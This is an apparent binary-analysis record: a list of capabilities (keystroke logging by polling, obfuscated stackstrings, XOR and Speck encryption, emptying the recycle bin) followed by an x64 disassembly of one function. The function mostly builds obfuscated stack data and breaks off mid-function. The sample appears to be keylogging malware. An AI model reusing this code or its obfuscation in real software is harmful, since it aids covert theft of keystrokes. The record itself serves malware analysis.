Function at 0x140001000
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Encrypt data using speck
Get file version info
Get keyboard layout
Log keystrokes via polling
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2ebe8
call fcn.1401dece0
sub rsp, rax
mov eax, 0x856
mov word [rsp + 0xbe8], ax
movabs rax, 0x4d936bacee3af53e
mov qword [rsp + 0x6ad8], rax
mov byte [rsp + 0x50], SHDoDragDrop
movabs rax, 0xa51975356551133
mov qword [rsp + 0x6ae0], rax
mov byte [rsp + 0x51], 0x28
mov byte [rsp + 0x52], 0x6d
mov dword [rsp + 0x3a38], 0x739fb6e9
mov byte [rsp + 0x53], 0x70
mov byte [rsp + 0x54], 0x89
mov byte [rsp + 0x55], 0x4f
mov byte [rsp + 0x56], 0xa7
mov byte [rsp + 0x57], 0x3c
mov byte [rsp + 0x58], MakeDragList
mov eax, 0x1d12
mov word [rsp + 0xbec], ax
movabs rax, 0x24dbe1dd4fe480f7
mov qword [rsp + 0x6ae8], rax
mov dword [rsp + 0x3a3c], 0xf5c07c14
movabs rax, 0x36513b81a7bd4852
mov qword [rsp + 0x6af0], rax
mov dword [rsp + 0x3a40], 0x5024a15f
mov eax, 0x67c9
mov word [rsp + 0xbf0], ax
movabs rax, 0x63c80b3543d1e689
mov qword [rsp + 0x6af8], rax
movabs rax, 0x8fccfd31f6f75338
mov qword [rsp + 0x6b00], rax
movabs rax, 0x4de2167720cd68d0
mov qword [rsp + 0x6b08], rax
mov eax, 0xb64
mov word [rsp + 0xbf4], ax
mov dword [rsp + 0x3a44], 0x79b7dd3b
movabs rax, 0x1514d569d1b4423a
mov qword [rsp + 0x6b10], rax
movabs rax, 0xe87a39f79a153e09
mov qword [rsp + 0x6b18], rax
mov byte [rsp + 0x59], 0x78
mov eax, 0x233
mov word [rsp + 0xbf8], ax
movabs rax, 0xa1cc5429c0dac670
mov qword [rsp + 0x6b20], rax
mov dword [rsp + 0x3a48], 0x67e063d2
mov eax, 0x5c4
mov word [rsp + 0xbfc], ax
movabs rax, 0x873d7eae17d5f823
mov qword [rsp + 0x6b28], rax
mov dword [rsp + 0x3a4c], 0x4c3c43a6
movabs rax, 0x3d1d50313422eceb
mov qword [rsp + 0x6b30], rax
mov eax, 0x1699
mov word [rsp + 0xc00], ax
movabs rax, 0x873fe3a595655c93
mov qword [rsp + 0x6b38], rax
movabs rax, 0x7acaafaa56ab4898
mov qword [rsp + 0x6b40], rax
mov eax, 0xf81
mov word [rsp + 0xc04], ax
mov eax, 0x707
mov word [rsp + 0xc08], ax
movabs rax, 0x17c5f965876fa1ba
mov qword [rsp + 0x6b48], rax
mov byte [rsp + 0x5a], 0x62
mov dword [rsp + 0x3a50], 0x7d58d34f
movabs rax, 0x5909a6b34b688152
mov qword [rsp + 0x6b50], rax
movabs rax, 0x5956d1d02e5856f9
mov qword [rsp + 0x6b58], rax
mov dword [rsp + 0x3a54], 0x2835a2d0
mov byte [rsp + 0x5b], 0x23
mov eax, 0x2c1
mov word [rsp + 0xc0c], ax
mov byte [rsp + 0x5c], 0x39
mov byte [rsp + 0x5d], 0x40
mov byte [rsp + 0x5e], 0x76
mov dword [rsp + 0x3a58], 0x31fdb8a9
movabs rax, 0x365eb211a7417d3e
mov qword [rsp + 0x6b60], rax
mov dword [rsp + 0x3a5c], 0xe09dc61e
movabs rax, 0x7f9d1ca0b1771603
mov qword [rsp + 0x6b68], rax
movabs rax, 0x3377afe025f01589
mov qword [rsp + 0x6b70], rax
mov byte [rsp + 0x5f], 0xd7
mov dword [rsp + 0x3a60], 0x5d4bd65e
mov dword [rsp + 0x3a64], 0x6ef6928e
mov eax, 0xf53
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x3a68], 0x7903e6e9
mov eax, 0xd5b
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x3a6c], 0x99e50d8e
mov byte [rsp + 0x60], 0x3c
movabs rax, 0xbca3b946b3c8bd9a
mov qword [rsp + 0x6b78], rax
mov eax, 0x42
mov word [rsp + 0xc18], ax
mov dword [rsp + 0x3a70], 0x3c77982
mov byte [rsp + 0x61], 0x61
mov byte [rsp + 0x62], SHUpdateImageA
mov byte [rsp + 0x63], 0xed
mov eax, 0x56f0
mov word [rsp + 0xc1c], ax
mov eax, 0xfd9
mov word [rsp + 0xc20], ax
movabs rax, 0x36b8135a54eddab4
mov qword [rsp + 0x6b80], rax
mov eax, 0x2e40
mov word [rsp + 0xc24], ax
mov byte [rsp + 0x64], 0x60
movabs rax, 0xa568e65a9f45a7b
mov qword [rsp + 0x6b88], rax
movabs rax, 0xa8a3cf9dbbc683e2
mov qword [rsp + 0x6b90], rax
mov eax, 0x8f5
mov word [rsp + 0xc28], ax
movabs rax, 0x6b258aec1402ee7
mov qword [rsp + 0x6b98], rax
mov eax, 0x607
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0x65], 0xd5
mov eax, 0x1270
mov word [rsp + 0xc30], ax
mov eax, 0x28f
mov word [rsp + 0xc34], ax
mov dword [rsp + 0x3a74], 0xc6a1609d
mov dword [rsp + 0x3a78], 0x5a6f7df4
mov dword [rsp + 0x3a7c], 0x33961bc2
mov eax, 0xbce
mov word [rsp + 0xc38], ax
mov eax, 0xdb6
mov word [rsp + 0xc3c], ax
mov dword [rsp + 0x3a80], 0x706939eb
mov dword [rsp + 0x3a84], 0xfdfb934b
mov byte [rsp + 0x66], 0x59
movabs rax, 0x9b55417b56e2ad6
mov qword [rsp + 0x6ba0], rax
mov eax, 0x56e
mov word [rsp + 0xc40], ax
movabs rax, 0x43bc72a640d1e9bc
mov qword [rsp + 0x6ba8], rax
movabs rax, 0xe2b241f151ef31f8
mov qword [rsp + 0x6bb0], rax
movabs rax, 0x75abce95880ef8df
mov qword [rsp + 0x6bb8], rax
mov dword [rsp + 0x3a88], 0xd165543e
mov byte [rsp + 0x67], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x68], 0x6c
movabs rax, 0x1b87e1b33a444c5
mov qword [rsp + 0x6bc0], rax
mov byte [rsp + 0x69], 0x68
mov eax, 0x928
mov word [rsp + 0xc44], ax
mov eax, 0x89c
mov word [rsp + 0xc48], ax
movabs rax, 0x628920ad858509b0
mov qword [rsp + 0x6bc8], rax
mov dword [rsp + 0x3a8c], 0x679e7ee0
mov byte [rsp + 0x6a], ILIsEqual
movabs rax, 0xfe5b982c2c436971
mov qword [rsp + 0x6bd0], rax
movabs rax, 0x453ecd417a523d16
mov qword [rsp + 0x6bd8], rax
mov byte [rsp + 0x6b], 0x5f
movabs rax, 0xfbd04d2c55e0eba4
mov qword [rsp + 0x6be0], rax
mov eax, 0x3dd
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0x6c], 0x2f
mov byte [rsp + 0x6d], 0x21
mov eax, 0x31a
mov word [rsp + 0xc50], ax
mov byte [rsp + 0x6e], 0x6a
mov dword [rsp + 0x3a90], 0x6b40208
mov dword [rsp + 0x3a94], 0x3b46702f
mov eax, 0x6d1e
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x3a98], 0xdd817d
mov eax, 0x6a3e
mov word [rsp + 0xc58], ax
mov eax, 0xde
mov word [rsp + 0xc5c], ax
mov byte [rsp + 0x6f], 0x6b
mov byte [rsp + 0x70], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x3a9c], 0x36c28fcf
movabs rax, 0x79e84bbf3fc7eca4
mov qword [rsp + 0x6be8], rax
movabs rax, 0x7b73ecac202f8c4f
mov qword [rsp + 0x6bf0], rax
mov dword [rsp + 0x3aa0], 0x36524fe8
mov eax, 0x4653
mov word [rsp + 0xc60], ax
mov eax, 0x117c
mov word [rsp + 0xc64], ax
mov byte [rsp + 0x71], 0x74
mov eax, 0x7bd
mov word [rsp + 0xc68], ax
mov dword [rsp + 0x3aa4], 0x3eb9ddfb
movabs rax, 0x5872f4750a467b08
mov qword [rsp + 0x6bf8], rax
movabs rax, 0x1fd6568088560aa3
mov qword [rsp + 0x6c00], rax
mov dword [rsp + 0x3aa8], 0x73fe5e76
movabs rax, 0x39e1713a8aeb79fe
mov qword [rsp + 0x6c08], rax
movabs rax, 0x5e02d2b3929e5eeb
mov qword [rsp + 0x6c10], rax
movabs rax, 0x774247bbf3ef68d1
mov qword [rsp + 0x6c18], rax
mov dword [rsp + 0x3aac], 0xa3377ae9
mov eax, 0x2f1b
mov word [rsp + 0xc6c], ax
mov eax, 0x7d5c
mov word [rsp + 0xc70], ax
mov byte [rsp + 0x72], ILSaveToStream
mov byte [rsp + 0x73], 0x2c
mov dword [rsp + 0x3ab0], 0x5e6f3323
mov eax, 0x7bc6
mov word [rsp + 0xc74], ax
mov dword [rsp + 0x3ab4], 0x35545a18
mov byte [rsp + 0x74], 0x61
mov dword [rsp + 0x3ab8], 0x24913435
mov eax, 0xfdf
mov word [rsp + 0xc78], ax
mov dword [rsp + 0x3abc], 0x765ab86a
mov byte [rsp + 0x75], 0x5d
mov byte [rsp + 0x76], 0xfe
mov byte [rsp + 0x77], 0x93
mov byte [rsp + 0x78], 0xdc
mov byte [rsp + 0x79], 0x4d
mov byte [rsp + 0x7a], 0xca
mov dword [rsp + 0x3ac0], 0xe29cffa9
mov dword [rsp + 0x3ac4], 0x494cf7d5
mov eax, 0x42c8
mov word [rsp + 0xc7c], ax
movabs rax, 0x9b338309ff1ae16
mov qword [rsp + 0x6c20], rax
mov byte [rsp + 0x7b], 0xde
mov byte [rsp + 0x7c], 0x6d
mov byte [rsp + 0x7d], 0x27
movabs rax, 0x43317bec6b03fdb4
mov qword [rsp + 0x6c28], rax
mov byte [rsp + 0x7e], 0xe6
mov eax, 0xfad
mov word [rsp + 0xc80], ax
mov dword [rsp + 0x3ac8], 0x12bb007f
mov dword [rsp + 0x3acc], 0x771e5f18
mov byte [rsp + 0x7f], 0x5e
movabs rax, 0x7ce23b1411f9620
mov qword [rsp + 0x6c30], rax
mov dword [rsp + 0x3ad0], 0xf9626ac5
mov dword [rsp + 0x3ad4], 0x67db0105
movabs rax, 0x16f223dc18cf9161
mov qword [rsp + 0x6c38], rax
mov dword [rsp + 0x3ad8], 0x8d90930
mov dword [rsp + 0x3adc], 0x3e275bbc
mov dword [rsp + 0x3ae0], 0x10e8c74f
mov eax, 0x74
mov word [rsp + 0xc84], ax
movabs rax, 0x7a13da24b04c57ac
mov qword [rsp + 0x6c40], rax
mov dword [rsp + 0x3ae4], 0x4faeda59
mov eax, 0x3a5
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x3ae8], 0x6c725613
mov eax, 0x6ab
mov word [rsp + 0xc8c], ax
movabs rax, 0xedee37cf6f43a06
mov qword [rsp + 0x6c48], rax
mov eax, 0xc22
mov word [rsp + 0xc90], ax
mov dword [rsp + 0x3aec], 0x28f6957a
mov dword [rsp + 0x3af0], 0x2b94b85
movabs rax, 0x2ea9483336482dfc
mov qword [rsp + 0x6c50], rax
mov dword [rsp + 0x3af4], 0x4d5b9ddd
movabs rax, 0x77919eb3ed04a1a
mov qword [rsp + 0x6c58], rax
mov dword [rsp + 0x3af8], 0x96e73c
mov byte [rsp + 0x80], 0x34
mov eax, 0x367d
mov word [rsp + 0xc94], ax
mov dword [rsp + 0x3afc], 0x557af544
mov dword [rsp + 0x3b00], 0x8350343b
mov byte [rsp + 0x81], 0x72
movabs rax, 0x4b6f3fdbbb75f7e7
mov qword [rsp + 0x6c60], rax
mov eax, 0x6bd
mov word [rsp + 0xc98], ax
mov dword [rsp + 0x3b04], 0xa6d4112e
movabs rax, 0x322f0e57c8057b7f
mov qword [rsp + 0x6c68], rax
movabs rax, 0x4ffb60677ee3ed0a
mov qword [rsp + 0x6c70], rax
mov dword [rsp + 0x3b08], 0x69b9136e
movabs rax, 0x10c25ed8c4a22c7c
mov qword [rsp + 0x6c78], rax
movabs rax, 0x2728e2e962722f9e
mov qword [rsp + 0x6c80], rax
movabs rax, 0xccfa2cb7ee75c7c0
mov qword [rsp + 0x6c88], rax
movabs rax, 0x4e8c6f6da3be288b
mov qword [rsp + 0x6c90], rax
mov byte [rsp + 0x82], 0x7e
mov eax, 0x61a8
mov word [rsp + 0xc9c], ax
movabs rax, 0x77cf36c453cc44dc
mov qword [rsp + 0x6c98], rax
mov dword [rsp + 0x3b0c], 0xa0f7b4ec
mov byte [rsp + 0x83], 0xed
movabs rax, 0xbb57b314ccc4794
mov qword [rsp + 0x6ca0], rax
mov eax, 0x7ca9
mov word [rsp + 0xca0], ax
mov byte [rsp + 0x84], 0x6a
mov dword [rsp + 0x3b10], 0xee3a65b
mov byte [rsp + 0x85], 0x3f
mov byte [rsp + 0x86], 0x61
mov byte [rsp + 0x87], 0xb5
mov dword [rsp + 0x3b14], 0x647143f9
mov dword [rsp + 0x3b18], 0x5ab6aadf
mov byte [rsp + 0x88], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x3b1c], 0xad2a671b
mov byte [rsp + 0x89], 0x7f
mov eax, 0x727
mov word [rsp + 0xca4], ax
mov byte [rsp + 0x8a], 0xdd
mov byte [rsp + 0x8b], 0x67
movabs rax, 0x4a0258f49e941005
mov qword [rsp + 0x6ca8], rax
mov byte [rsp + 0x8c], 0x43
movabs rax, 0x5e5c7da3aeef6da3
mov qword [rsp + 0x6cb0], rax
mov dword [rsp + 0x3b20], 0xc2e5857f
movabs rax, 0xf04900d71198b4ab
mov qword [rsp + 0x6cb8], rax
movabs rax, 0x145cf7bfb252b389
mov qword [rsp + 0x6cc0], rax
mov dword [rsp + 0x3b24], 0xe4d44f95
mov byte [rsp + 0x8d], ILIsEqual
mov eax, 0x14a9
mov word [rsp + 0xca8], ax
movabs rax, 0x640f0d72292df5f3
mov qword [rsp + 0x6cc8], rax
mov eax, 0x7e7
mov word [rsp + 0xcac], ax
mov byte [rsp + 0x8e], 0x6a
mov byte [rsp + 0x8f], 0x7d
mov byte [rsp + 0x90], 0x6d
mov eax, 0x51c5
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0x91], SHDoDragDrop
movabs rax, 0x9d1836f2e76e697e
mov qword [rsp + 0x6cd0], rax
mov eax, 0xb66
mov word [rsp + 0xcb4], ax
movabs rax, 0xbbdd6d2ea8ad3207
mov qword [rsp + 0x6cd8], rax
movabs rax, 0x1fbdf1bb77571a6c
mov qword [rsp + 0x6ce0], rax
mov dword [rsp + 0x3b28], 0x15afddf2
mov byte [rsp + 0x92], 0xd6
movabs rax, 0x9bf2f7b8c8b701a
mov qword [rsp + 0x6ce8], rax
mov byte [rsp + 0x93], 0xd4
mov eax, 0x4b16
mov word [rsp + 0xcb8], ax
mov eax, 0x1414
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x3b2c], 0x4f6c9dee
mov dword [rsp + 0x3b30], 0x5ad6e4b3
mov dword [rsp + 0x3b34], 0xd93cdb7d
movabs rax, 0x8bc7a0c575cb4fbe
mov qword [rsp + 0x6cf0], rax
mov dword [rsp + 0x3b38], 0x2aa26a37
mov byte [rsp + 0x94], 0x4c
mov dword [rsp + 0x3b3c], 0x4cd5fa6e
movabs rax, 0x4c2f0c14e346ca0d
mov qword [rsp + 0x6cf8], rax
mov eax, 0x9f0
mov word [rsp + 0xcc0], ax
mov eax, 0x11ed
mov word [rsp + 0xcc4], ax
movabs rax, 0x1996f92fd24876d5
mov qword [rsp + 0x6d00], rax
mov eax, 0x737
mov word [rsp + 0xcc8], ax
mov byte [rsp + 0x95], ILIsEqual
mov eax, 0x7abc
mov word [rsp + 0xccc], ax
mov eax, 0x389c
mov word [rsp + 0xcd0], ax
mov dword [rsp + 0x3b40], 0x21f37f5b
mov byte [rsp + 0x96], 0x7a
mov byte [rsp + 0x97], 0x7f
mov dword [rsp + 0x3b44], 0x46c9843f
mov byte [rsp + 0x98], 8
mov byte [rsp + 0x99], 0xb0
mov eax, 0x438
mov word [rsp + 0xcd4], ax
mov eax, 0x5c2
mov word [rsp + 0xcd8], ax
mov eax, 0x393
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x3b48], 0xd7c73db
mov eax, 0x44f
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x3b4c], 0x5529fac5
mov dword [rsp + 0x3b50], 0xf7cdbba7
mov byte [rsp + 0x9a], 0x69
movabs rax, 0xd0c36f8426d8df76
mov qword [rsp + 0x6d08], rax
mov dword [rsp + 0x3b54], 0x28ef35f6
mov eax, 0x18ef
mov word [rsp + 0xce4], ax
mov dword [rsp + 0x3b58], 0x1b6ddd12
mov dword [rsp + 0x3b5c], 0x86d8d074
mov byte [rsp + 0x9b], 0x2b
movabs rax, 0x65094c96af0059aa
mov qword [rsp + 0x6d10], rax
mov byte [rsp + 0x9c], 0x2e
movabs rax, 0x30adce381b17e37d
mov qword [rsp + 0x6d18], rax
movabs rax, 0x590864a2c2dba570
mov qword [rsp + 0x6d20], rax
movabs rax, 0xf5d56085c6ef979
mov qword [rsp + 0x6d28], rax
mov eax, 0x1564
mov word [rsp + 0xce8], ax
mov eax, 0xf0b
mov word [rsp + 0xcec], ax
movabs rax, 0x675f5835092dc1dc
mov qword [rsp + 0x6d30], rax
mov eax, 0xf57
mov word [rsp + 0xcf0], ax
mov byte [rsp + 0x9d], 0x35
movabs rax, 0x4693744ecfc33ddc
mov qword [rsp + 0x6d38], rax
movabs rax, 0x4acd88e9521c1231
mov qword [rsp + 0x6d40], rax
mov dword [rsp + 0x3b60], 0x3d12db65
mov byte [rsp + 0x9e], 0x28
mov byte [rsp + 0x9f], 0x6c
mov eax, 0xfd2
mov word [rsp + 0xcf4], ax
mov byte [rsp + 0xa0], 2
mov dword [rsp + 0x3b64], 0x29bb5f00
mov byte [rsp + 0xa1], reloc.SHELL32.dll_ILGetSize
movabs rax, 0x5f3d77769f9c1202
mov qword [rsp + 0x6d48], rax
movabs rax, 0x2e01c686df74da31
mov qword [rsp + 0x6d50], rax
mov eax, 0xeea
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0xa2], 0x4f
mov dword [rsp + 0x3b68], 0x6eee2b96
mov dword [rsp + 0x3b6c], 0x19506f4e
movabs rax, 0xa1155855b98737e
mov qword [rsp + 0x6d58], rax
mov dword [rsp + 0x3b70], 0x1ff570bd
movabs rax, 0x1cb6f7bce022b7e8
mov qword [rsp + 0x6d60], rax
mov eax, 0x43f
mov word [rsp + 0xcfc], ax
movabs rax, 0xca47e127330a2c27
mov qword [rsp + 0x6d68], rax
mov byte [rsp + 0xa3], 0x5a
movabs rax, 0x122a362bf56d71e
mov qword [rsp + 0x6d70], rax
mov byte [rsp + 0xa4], ILIsEqual
mov eax, 0x6618
mov word [rsp + 0xd00], ax
mov dword [rsp + 0x3b74], 0x3d708aa4
movabs rax, 0x76ecc9b19e7b840f
mov qword [rsp + 0x6d78], rax
movabs rax, 0x1bf97e303db628f2
mov qword [rsp + 0x6d80], rax
mov eax, 0x19e
mov word [rsp + 0xd04], ax
mov eax, 0x7ccc
mov word [rsp + 0xd08], ax
mov byte [rsp + 0xa5], 0x86
movabs rax, 0x26b5318787c1afe
mov qword [rsp + 0x6d88], rax
mov dword [rsp + 0x3b78], 0x52465e28
mov eax, 0x7b8f
mov word [rsp + 0xd0c], ax
mov byte [rsp + 0xa6], 0x5c
mov byte [rsp + 0xa7], 0x28
movabs rax, 0x73c7ab566c6ed0c4
mov qword [rsp + 0x6d90], rax
mov eax, 0x2f1
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x3b7c], 0x764b4887
mov dword [rsp + 0x3b80], 0xfeee0e33
mov eax, 0x5848
mov word [rsp + 0xd14], ax
mov eax, 0x59d
mov word [rsp + 0xd18], ax
mov dword [rsp + 0x3b84], 0x5067177
mov eax, 0x24b
mov word [rsp + 0xd1c], ax
mov eax, 0x7117
mov word [rsp + 0xd20], ax
mov dword [rsp + 0x3b88], 0x2281f0a8
mov dword [rsp + 0x3b8c], 0x8039bc5c
movabs rax, 0x16a673031a206880
mov qword [rsp + 0x6d98], rax
movabs rax, 0xbf7548295f15ad2e
mov qword [rsp + 0x6da0], rax
movabs rax, 0x5a3500166ae4cd27
mov qword [rsp + 0x6da8], rax
mov byte [rsp + 0xa8], 0x2f
mov dword [rsp + 0x3b90], 0x3595e191
mov byte [rsp + 0xa9], 0xac
mov eax, 0x707
mov word [rsp + 0xd24], ax
movabs rax, 0x46ae8a64966063a8
mov qword [rsp + 0x6db0], rax
movabs rax, 0x59d8f6d29497de68
mov qword [rsp + 0x6db8], rax
mov eax, 0x1776
mov word [rsp + 0xd28], ax
mov eax, reloc.SHELL32.dll_ILFindLastID
mov word [rsp + 0xd2c], ax
movabs rax, 0x5c9bb768e673022b
mov qword [rsp + 0x6dc0], rax
mov eax, 0xd58
mov word [rsp + 0xd30], ax
movabs rax, 0x7eec219f5ce10783
mov qword [rsp + 0x6dc8], rax
mov dword [rsp + 0x3b94], 0xb191d50a
mov dword [rsp + 0x3b98], 0x1a7b91b5
mov byte [rsp + 0xaa], 0x6a
mov dword [rsp + 0x3b9c], 0xfefb3996
mov eax, 0x3fc1
mov word [rsp + 0xd34], ax
movabs rax, 0xf9b7099487044ab4
mov qword [rsp + 0x6dd0], rax
mov dword [rsp + 0x3ba0], 0x51e154e7
mov dword [rsp + 0x3ba4], 0x600e2675
movabs rax, 0xe74f48c8c83e34f7
mov qword [rsp + 0x6dd8], rax
mov byte [rsp + 0xab], 0x70
mov dword [rsp + 0x3ba8], 0x4e228c1f
mov dword [rsp + 0x3bac], 0xb2837ce
mov eax, 0x7d4f
mov word [rsp + 0xd38], ax
mov byte [rsp + 0xac], 0x3d
mov dword [rsp + 0x3bb0], 0x3c419db1
mov dword [rsp + 0x3bb4], 0x4a094f14
movabs rax, 0x2ad63bf8233662a8
mov qword [rsp + 0x6de0], rax
mov byte [rsp + 0xad], 0xa
movabs rax, 0xf9a55e7ebdbd0761
mov qword [rsp + 0x6de8], rax
movabs rax, 0xd347d3805e9a80fd
mov qword [rsp + 0x6df0], rax
mov dword [rsp + 0x3bb8], 0x60fbe7b6
mov dword [rsp + 0x3bbc], 0x756fd61
movabs rax, 0x92478aa18308f356
mov qword [rsp + 0x6df8], rax
mov dword [rsp + 0x3bc0], 0x65fd3b3b
mov dword [rsp + 0x3bc4], 0x5d57a29f
movabs rax, 0x69c3f751b49acdd2
mov qword [rsp + 0x6e00], rax
mov dword [rsp + 0x3bc8], 0xe7e60f62
mov eax, 0xc50
mov word [rsp + 0xd3c], ax
movabs rax, 0x4cfd3527b74d6e06
mov qword [rsp + 0x6e08], rax
mov eax, 0x3d45
mov word [rsp + 0xd40], ax
mov eax, 0xfb7
mov word [rsp + 0xd44], ax
movabs rax, 0x6ec867c370b8c748
mov qword [rsp + 0x6e10], rax
mov eax, 0x28f6
mov word [rsp + 0xd48], ax
mov byte [rsp + 0xae], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x3bcc], 0x5d8ab5eb
mov byte [rsp + 0xaf], 0x2b
movabs rax, 0xa5e6dad20a5a96fe
mov qword [rsp + 0x6e18], rax
mov eax, 0x47dc
mov word [rsp + 0xd4c], ax
mov eax, 0xa62
mov word [rsp + 0xd50], ax
mov byte [rsp + 0xb0], ILGetSize
mov byte [rsp + 0xb1], 0x28
mov byte [rsp + 0xb2], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x707434436ea7f968
mov qword [rsp + 0x6e20], rax
mov eax, 0x59de
mov word [rsp + 0xd54], ax
mov byte [rsp + 0xb3], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x3bd0], 0x6d1f6c80
movabs rax, 0x99588f511d6c5cf6
mov qword [rsp + 0x6e28], rax
mov eax, 0x977
mov word [rsp + 0xd58], ax
mov eax, 0x5b1
mov word [rsp + 0xd5c], ax
mov dword [rsp + 0x3bd4], 0x477d3185
movabs rax, 0x159805b31e8b0598
mov qword [rsp + 0x6e30], rax
movabs rax, 0x3adbfe206f9228a8
mov qword [rsp + 0x6e38], rax
mov dword [rsp + 0x3bd8], 0x4f4b4554
mov dword [rsp + 0x3bdc], 0x273f0fd1
mov eax, 0x853
mov word [rsp + 0xd60], ax
movabs rax, 0x5ba40ad5d97d9ba0
mov qword [rsp + 0x6e40], rax
mov dword [rsp + 0x3be0], 0x751c9da
mov dword [rsp + 0x3be4], 0x2e1b5d17
movabs rax, 0x58771b1a973538dc
mov qword [rsp + 0x6e48], rax
mov byte [rsp + 0xb4], 0xb1
mov byte [rsp + 0xb5], ILIsEqual
mov eax, 0x5f4
mov word [rsp + 0xd64], ax
mov eax, 0x30f
mov word [rsp + 0xd68], ax
mov eax, 0x29
mov word [rsp + 0xd6c], ax
mov eax, 0x5619
mov word [rsp + 0xd70], ax
mov eax, 0xc88
mov word [rsp + 0xd74], ax
mov dword [rsp + 0x3be8], 0x389396d0
mov eax, 0x6cf5
mov word [rsp + 0xd78], ax
movabs rax, 0x71f1779d4cffbb13
mov qword [rsp + 0x6e50], rax
mov byte [rsp + 0xb6], 0x40
mov dword [rsp + 0x3bec], 0x7792a7a2
movabs rax, 0x11706a6decbd88f9
mov qword [rsp + 0x6e58], rax
mov eax, 0x4d6
mov word [rsp + 0xd7c], ax
mov byte [rsp + 0xb7], ILIsEqual
mov dword [rsp + 0x3bf0], 0x8186b939
mov byte [rsp + 0xb8], 0x39
movabs rax, 0x17bcbcb179db5ffc
mov qword [rsp + 0x6e60], rax
mov eax, 0xd90
mov word [rsp + 0xd80], ax
mov byte [rsp + 0xb9], 0xcc
mov dword [rsp + 0x3bf4], 0x840d055c
mov byte [rsp + 0xba], ILIsEqual
mov dword [rsp + 0x3bf8], 0x44aa4680
mov byte [rsp + 0xbb], 0x5c
mov eax, 0x43b
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x3bfc], 0xdb8cb567
mov byte [rsp + 0xbc], 0x5e
movabs rax, 0x1b4756724cb015b6
mov qword [rsp + 0x6e68], rax
mov dword [rsp + 0x3c00], 0x76f6b4c6
mov byte [rsp + 0xbd], 0x75
movabs rax, 0x2273059629ec2e7a
mov qword [rsp + 0x6e70], rax
mov eax, 0xb4c
mov word [rsp + 0xd88], ax
mov eax, 0x9cc
mov word [rsp + 0xd8c], ax
mov byte [rsp + 0xbe], 0xeb
movabs rax, 0xe16145ee02a47a5f
mov qword [rsp + 0x6e78], rax
mov eax, 0xb74
mov word [rsp + 0xd90], ax
mov eax, 0x60bc
mov word [rsp + 0xd94], ax
mov eax, 0x902
mov word [rsp + 0xd98], ax
movabs rax, 0x5a51b35dcdbe7ca5
mov qword [rsp + 0x6e80], rax
mov dword [rsp + 0x3c04], 0x88d42459
mov byte [rsp + 0xbf], SHTestTokenMembership
movabs rax, 0x65c695e1b78e7373
mov qword [rsp + 0x6e88], rax
mov dword [rsp + 0x3c08], 0x781e5028
mov byte [rsp + 0xc0], reloc.COMCTL32.dll_LBItemFromPt
mov byte [rsp + 0xc1], 0x59
mov byte [rsp + 0xc2], 0x73
mov byte [rsp + 0xc3], 0xce
mov dword [rsp + 0x3c0c], 0x598d7de9
mov eax, 0x9bd
mov word [rsp + 0xd9c], ax
mov byte [rsp + 0xc4], SHUpdateImageA
mov dword [rsp + 0x3c10], 0x6068d318
mov byte [rsp + 0xc5], 0x38
mov dword [rsp + 0x3c14], 0x1a468ce1
mov byte [rsp + 0xc6], 0xaa
mov dword [rsp + 0x3c18], 0x792c59f7
mov eax, 0xced
mov word [rsp + 0xda0], ax
mov dword [rsp + 0x3c1c], 0x2ddc98ba
mov dword [rsp + 0x3c20], 0x42312092
movabs rax, 0xfd93f1ed3feab994
mov qword [rsp + 0x6e90], rax
mov eax, 0x506a
mov word [rsp + 0xda4], ax
mov byte [rsp + 0xc7], 0x72
mov byte [rsp + 0xc8], 4
mov dword [rsp + 0x3c24], 0xec12e1d7
mov byte [rsp + 0xc9], 0x31
mov eax, 0x490
mov word [rsp + 0xda8], ax
mov byte [rsp + 0xca], 0x65
mov dword [rsp + 0x3c28], 0x54606874
mov byte [rsp + 0xcb], reloc.SHELL32.dll_ILFindChild
mov eax, 0xa4
mov word [rsp + 0xdac], ax
movabs rax, 0x9bdc2e42e7b8592f
mov qword [rsp + 0x6e98], rax
mov eax, 0xeea
mov word [rsp + 0xdb0], ax
mov byte [rsp + 0xcc], 0xce
mov dword [rsp + 0x3c2c], 0x21838b5f
mov dword [rsp + 0x3c30], 0x1bd27f4
movabs rax, 0x14cfe7b2f79feb41
mov qword [rsp + 0x6ea0], rax
mov byte [rsp + 0xcd], 0x1c
mov dword [rsp + 0x3c34], 0x4534aa28
mov dword [rsp + 0x3c38], 0x8aaf752
mov dword [rsp + 0x3c3c], 0x13f7c420
mov byte [rsp + 0xce], SHTestTokenMembership
mov eax, 0x34a8
mov word [rsp + 0xdb4], ax
mov byte [rsp + 0xcf], 0xcf
mov eax, 0x422
mov word [rsp + 0xdb8], ax
movabs rax, 0xc22467e849d6380
mov qword [rsp + 0x6ea8], rax
mov byte [rsp + 0xd0], 0x3b
movabs rax, 0x2a31fd92cd2b799e
mov qword [rsp + 0x6eb0], rax
mov byte [rsp + 0xd1], 0xa4
mov dword [rsp + 0x3c40], 0x7430f64d
mov dword [rsp + 0x3c44], 0xea7d2c4e
movabs rax, 0x5a46100b9ecd1fd4
mov qword [rsp + 0x6eb8], rax
mov eax, 0x576
mov word [rsp + 0xdbc], ax
mov eax, 0x626f
mov word [rsp + 0xdc0], ax
movabs rax, 0x80629f3072d26f3
mov qword [rsp + 0x6ec0], rax
mov eax, 0x5fd1
mov word [rsp + 0xdc4], ax
mov dword [rsp + 0x3c48], 0x5994d81f
